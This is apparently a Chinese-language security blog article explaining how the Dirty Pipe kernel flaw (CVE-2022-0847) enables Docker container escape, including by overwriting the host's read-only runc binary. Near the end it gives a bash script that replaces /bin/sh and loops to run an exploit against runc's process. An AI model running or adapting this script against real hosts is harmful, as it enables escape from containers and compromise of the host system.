从脏管道(CVE-2022-0847)到 Docker 逃逸

本文作者:happi0




# 一、利用条件与限制

# 利用条件

  • 有可读权限或者可以传回文件的文件描述符。
  • 有漏洞的内核。

# 利用的限制

  • 第一个字节不可修改,并且单次写入不能大于 4k。
  • 只能单纯覆盖,不能调整文件大小。
  • 由于漏洞基于内存页,所以不会对磁盘有影响。

# 二、与 Docker 的关系

由于 Docker 和宿主机是共享内核,尽管与其他进程资源是隔离开的,内核漏洞也很可能会对 Docker 容器造成安全问题。

# 对于容器的影响

由于 Docker 本质上是由一组互相重叠的层所组层的,然后容器引擎将其合并到一起,原本这些层都是只读的,但由于脏管道漏洞的影响,我们可以在 u1 容器里修改 /etc/passwd 使得 u2 容器的 /etc/passwd 被修改。

# 利用 CAP_DAC_READ_SEARCH 实现容器逃逸

通过利用 CAP_DAC_READ_SEARCH 与脏管道可以实现覆盖主机文件, 该攻击手段可以在 Github 看到详细过程,地址: github.com/greenhandatsjtu/CVE-2022-0847-Container-Escape (opens new window)

这里实际上主要是 CAP_DAC_READ_SEARCH 可以调用 open_by_handle_at, 从而获得主机文件的文件描述符,再配合脏管道于是就可以修改主机文件了。


这种攻击方式非常简单,核心就是获得文件的文件描述符即可。

# 通过 runC 实现容器逃逸

一个容器开启时,可以分为以下三步

  • fork 创建子进程
  • 初始化容器化环境
  • 将执行流重定向到用户提供的入口点

对于第三步,以大名鼎鼎的 CVE-2019-5736 为例,当重定向入口点时,容器内的/proc/self/exec 与主记的 runc 二进制文件相关联。

因此可以通过在容器内写入该文件描述符实现容器逃逸。

对于 CVE-2019-5736 的修复可以参见:github.com/opencontainers/runc/commit/0a8e4117e7f715d5fbeef398405813ce8e88558b (opens new window)


由于篇幅原因这里不跟进 CVE-2019-5736 的修复的具体代码,直接看 git commit 了解修复逻辑。

可以看到修复逻辑是克隆 /proc/self/exec 避免容器内部直接获取 runC,然而很快开发者修改了修复逻辑,参见:github.com/opencontainers/runc/commit/16612d74de5f84977e50a9c8ead7f0e9e13b8628 (opens new window)


可以看到开发者认为克隆导致的内存开销太大了,可能造成 OOM 或者其他问题,把修复逻辑改成了只读挂载。

这里联想到上文总结的 脏管道 的利用条件和利用效果,发现刚好契合。


这里的利用主要参考了这里的内容:securitylabs.datadoghq.com/articles/dirty-pipe-container-escape-poc/ (opens new window)

主机执行 docker exec -it u1 /bin/sh/usr/sbin/runc 的哈希值变化了,且头部被注入标识。

利用思路也很简单,修改 CVE-2022-0847 的 exp,将需要注入的字节改为 shellcode,这里我随便改个标识,然后在容器内找到主机的 runc 的 pid 即可,可以参考以下的 shell 脚本。

#!/bin/bash

echo '#!/proc/self/exe' > /bin/sh

echo "Waiting for runC to be executed in the container"

while true ; do
runC_pid=""

while [ -z "$runC_pid" ] ; do
        runC_pid=$(ps axf | grep /proc/self/exe | grep -v grep | awk '{print $1}')
        done

        /exp /proc/${runC_pid}/exe
done
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

# 三、总结

由于 Docker 容器和主机是共享内核的,且目前的 runc 是通过挂为只读权限防止逃逸的,对于提权类内核洞来说,这两个限制很容易被绕过。所以虽然容器本身逃逸类的漏洞不多,但提权类的内核漏洞会很可能导致容器逃逸。